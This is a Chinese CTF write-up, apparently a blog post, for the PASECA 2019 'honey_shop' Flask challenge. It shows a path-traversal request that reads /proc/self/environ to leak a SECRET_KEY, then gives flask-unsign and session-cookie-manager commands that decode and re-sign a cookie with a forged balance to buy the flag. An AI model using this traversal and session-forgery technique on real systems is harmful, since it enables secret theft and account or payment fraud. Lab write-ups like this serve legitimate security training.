2019PASECA-honey_shop
https://github.com/CTFTraining/pasecactf_2019_web_honey_shop
点击图片发现能够下载,抓包发现确实有文件下载漏洞:
环境变量:
/download?image=../../../../proc/self/environ
发现是python环境
还发现了SECRET_KEY
SECRET_KEY=QNxewrUcqJX8iHWJdqhyqyCgg9j1etEfEEO8B8vv
先解密:
flask-unsign --unsign --cookie 'eyJiYWxhbmNlIjoxMzMxLCJwdXJjaGFzZXMiOlsiTGluZGVuIGhvbmV5Il19.Zur61A.eT598oHkN5ey16mv4i7EMioRask'
python3 flask_session_cookie_manager3.py decode -c 'eyJiYWxhbmNlIjoxMzMxLCJwdXJjaGFzZXMiOlsiTGluZGVuIGhvbmV5Il19.Zur61A.eT598oHkN5ey16mv4i7EMioRask' -s 'QNxewrUcqJX8iHWJdqhyqyCgg9j1etEfEEO8B8vv'
{'balance': 1331, 'purchases': ['Linden honey']}
再加密:
{'balance': 222331, 'purchases': ['Linden honey']}
python flask_session_cookie_manager3.py encode -s 'QNxewrUcqJX8iHWJdqhyqyCgg9j1etEfEEO8B8vv' -t "{'balance': 222331, 'purchases': ['Linden honey']}"
修改后购买flag即可:
flag{2c88207c-96a7-4e4a-9b29-b22ccdbaa263}
收获
到处点点说不定有什么收获,如文件下载漏洞之类的
SECRET_KEY可能在环境变量中
/proc/self/environ
然后就是flask session的加密与解密
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· DeepSeek 开源周回顾「GitHub 热点速览」
· 物流快递公司核心技术能力-地址解析分单基础技术分享
· .NET 10首个预览版发布:重大改进与新特性概览!
· AI与.NET技术实操系列(二):开始使用ML.NET
· .NET10 - 预览版1新功能体验(一)